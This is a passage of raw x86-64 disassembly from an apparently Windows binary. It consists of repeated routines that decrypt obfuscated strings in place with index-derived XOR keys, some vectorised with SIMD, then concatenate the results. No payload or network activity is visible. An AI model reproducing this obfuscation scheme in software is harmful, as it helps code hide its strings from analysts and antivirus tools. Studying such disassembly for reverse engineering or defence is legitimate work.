nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000cd10
cmp r8d, 0x1a
jge 0x14000ce31
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000ce00
mov byte [rbp - 0x16], 0
lea rdx, [rbp + 0x1388]
lea rcx, [rbp - 0x16]
call fcn.140026710
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14000cf81
mov r8d, edi
cmp esi, 2
jl 0x14000cf48
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000ce61
cmp r8d, 0x16
jge 0x14000cf81
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14000cf50
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x15], 0
lea rdx, [rbp + 0xb08]
lea rcx, [rbp - 0x15]
call fcn.140026540
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000d0c0
mov r8d, edi
cmp esi, 2
jl 0x14000d087
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000d090
mov byte [rbp - 0x14], 0
lea rdx, [rbp + 0xff8]
lea rcx, [rbp - 0x14]
call fcn.140026370
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000d200
mov r8d, edi
cmp esi, 2
jl 0x14000d1bc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000d1d0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x13], 0
lea rdx, [rbp + 0x718]
lea rcx, [rbp - 0x13]
call fcn.1400262d0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000d262
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x12], 0
lea rdx, [rbp + 0x1288]
lea rcx, [rbp - 0x12]
call fcn.1400260f0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14000d391
mov r8d, edi
cmp esi, 2
jl 0x14000d34d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000d360
mov rcx, r10
jmp 0x14000e536
mov byte [rbp - 0x11], 0
lea rdx, [rbp + 0x378]
lea rcx, [rbp - 0x11]
call fcn.140026b30
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000d3d7
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1a00]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1a00]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1a00]
call fcn.1400b3040
cmp ebx, 8
jne 0x14000d96b
mov byte [rbp - 0x10], 0
lea rdx, [rbp + 0x1008]
lea rcx, [rbp - 0x10]
call fcn.140027250
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x14000d541
mov r8d, edi
cmp esi, 2
jl 0x14000d4fd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000d510
mov byte [rbp - 0xf], 0
lea rdx, [rbp + 0xb18]
lea rcx, [rbp - 0xf]
call fcn.140027080
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000d671
mov r8d, edi
cmp esi, 2
jl 0x14000d62c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000d640
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0xe], 0
lea rdx, [rbp + 0xb28]
lea rcx, [rbp - 0xe]
call fcn.140026eb0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000d7b0
mov r8d, edi
cmp esi, 2
jl 0x14000d777
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000d780
mov byte [rbp - 0xd], 0
lea rdx, [rbp + 0x1018]
lea rcx, [rbp - 0xd]
call fcn.140026ce0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000d8f0
mov r8d, edi
cmp esi, 2
jl 0x14000d8ac
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000d8c0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0xc], 0
lea rdx, [rbp + 0x728]
lea rcx, [rbp - 0xc]
call fcn.140026c40
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000d952
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0xb], 0
lea rdx, [rbp + 0x518]
lea rcx, [rbp - 0xb]
call fcn.140026bb0
jmp 0x14000e505
mov byte [rbp - 0xa], 0
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp - 0xa]
call fcn.140027420
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000d9a9
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1a20]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1a20]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1a20]
call fcn.1400b3040
cmp ebx, 8
jne 0x14000e059
mov byte [rbp - 9], 0
lea rdx, [rbp + 0xdc]
lea rcx, [rbp - 9]
call fcn.140027db0
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000da0c
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp - 8], 0
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 8]
call fcn.140027c00
mov r10, rax
cmp byte [rax + 7], 0
je 0x14000db31
cmp esi, 2
jl 0x14000daf0
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x14000db31
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000db00
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 7], 0
lea rdx, [rbp + 0xb38]
lea rcx, [rbp - 7]
call fcn.140027a30
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000dc70
mov r8d, edi
cmp esi, 2
jl 0x14000dc37
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000dc40
mov byte [rbp - 6], 0
lea rdx, [rbp + 0x1028]
lea rcx, [rbp - 6]
call fcn.140027860
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000ddb0
mov r8d, edi
cmp esi, 2
jl 0x14000dd6c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000dd80
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 5], 0
lea rdx, [rbp + 0x1358]
lea rcx, [rbp - 5]
call fcn.140027670
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x14000df21
cmp esi, 2
jl 0x14000dedf
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000de00
jmp 0x14000df21
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000def0
mov byte [rbp - 4], 0
lea rdx, [rbp + 0xb48]
lea rcx, [rbp - 4]
call fcn.1400274a0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000d391
mov r8d, edi
cmp esi, 2
jl 0x14000e00c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
